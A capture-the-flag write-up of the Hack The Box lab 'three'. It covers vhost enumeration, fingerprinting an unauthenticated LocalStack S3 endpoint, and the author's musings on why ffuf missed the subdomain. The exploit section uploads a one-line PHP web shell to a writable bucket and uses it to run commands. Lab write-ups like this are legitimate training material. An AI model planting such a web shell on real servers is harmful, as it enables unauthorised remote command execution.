The vhost ffuf missed
three is an HTB Starting Point Tier 1 box. Single flag, no privesc.
The exploitable thing is a LocalStack S3 endpoint on a vhost, with an
anonymously-writable bucket that backs Apache’s document root. Upload
PHP, request it, read /var/www/flag.txt.
That’s the box. The part worth writing about is that my ffuf vhost
profile missed the hit, and subdomains-top1million-20000.txt had
s3 sitting on line 247.
The setup
nmap top-1000 returns 22/ssh and 80/http. The web root is a band
landing page for “The Toppers,” generated by /index.php. ffuf
against raft-medium-directories.txt finds nothing interesting.
The footer of the landing page has a mail address:
mail@thetoppers.htb
That’s the pivot. Without that string the box has nothing visible to chew on; there’s no hidden subdomain to guess at, only one the page itself names.
The Starting Point task pane is also handing out the shape of the answer:
Which sub-domain is discovered during further enumeration?
> **.*********.***
Two characters, then thetoppers.htb. The search space collapses to
roughly the 2-letter row of any common subdomain list, which makes
ffuf’s failure later look worse, not better.
ffuf says no
I dropped thetoppers.htb into /etc/hosts, ran my vhost profile
against subdomains-top1million-20000.txt, filtered by size against
the default-site baseline of 11952 bytes.
Empty CSV.
I abandoned the tool and threw the obvious shortlist at it by hand:
for sub in s3 dev www admin mail api; do
size=$(curl -s -H "Host: $sub.thetoppers.htb" http://<box-ip>/ | wc -c)
echo "$sub.thetoppers.htb -> $size bytes"
done
s3.thetoppers.htb -> 21 bytes
dev.thetoppers.htb -> 11952 bytes
www.thetoppers.htb -> 11952 bytes
admin.thetoppers.htb -> 11952 bytes
mail.thetoppers.htb -> 11952 bytes
api.thetoppers.htb -> 11952 bytes
Most don’t match the 2-char mask. I threw the longer ones in out of
habit. 21 bytes is {"status": "running"} plus a newline. Different
host, different service.
Going back to ask whether ffuf had had a fair chance:
$ grep -nx s3 subdomains-top1million-20000.txt
247:s3
Line 247. I’ll come back to that.
The 21-byte service
$ curl -sI -H "Host: s3.thetoppers.htb" http://<box-ip>/
HTTP/1.1 200 OK
Server: hypercorn-h11
Access-Control-Allow-Headers: ...,x-localstack-target,...
Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
Two tells. hypercorn-h11 is the Python ASGI server LocalStack runs
on. x-localstack-target in the CORS allowlist is the giveaway you
don’t need to look up; nothing else uses that header. The full S3 verb
set on Access-Control-Allow-Methods is the bonus hint.
LocalStack is an AWS service emulator built for local dev. It does not authenticate anything. Point the AWS CLI at it with any dummy creds and it works:
$ aws configure # any access key, any secret, region us-east-1
$ aws --endpoint-url http://s3.thetoppers.htb s3 ls
2026-05-27 15:37:47 thetoppers.htb
One bucket. Name matches the vhost. That’s the design clue: a bucket named after the site almost certainly backs the document root.
The exploit, such as it is
$ echo '<?php system($_GET["c"]); ?>' > shell.php
$ aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
$ curl 'http://thetoppers.htb/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl 'http://thetoppers.htb/shell.php?c=cat+/var/www/flag.txt'
Flag captured. There’s no root flag on this one.
(The box is called three. The exploit is S3. I missed that until I
sat down to write this up.)
What this box teaches
Any response header is a fingerprint. Access-Control-Allow-Headers
in particular tends to name vendor-specific extension headers that
ID the service without needing a tool. If I’d been less sleepy I
would have skipped the AWS-CLI dance and grepped the CORS allowlist
for localstack.
As for the ffuf wrapper: I have no good story for why it missed.
The size filter should have flagged anything that wasn’t the
11952-byte default. My best guess is the status-code allowlist in
my wrapper (200,301,302,401,403); the actual response code is
probably something I didn’t include. The clean fix is
-mc all -fs 11952 instead of an explicit status list. I haven’t
sat down with the profile yet to confirm.
I’ll fix it before the next box. Probably.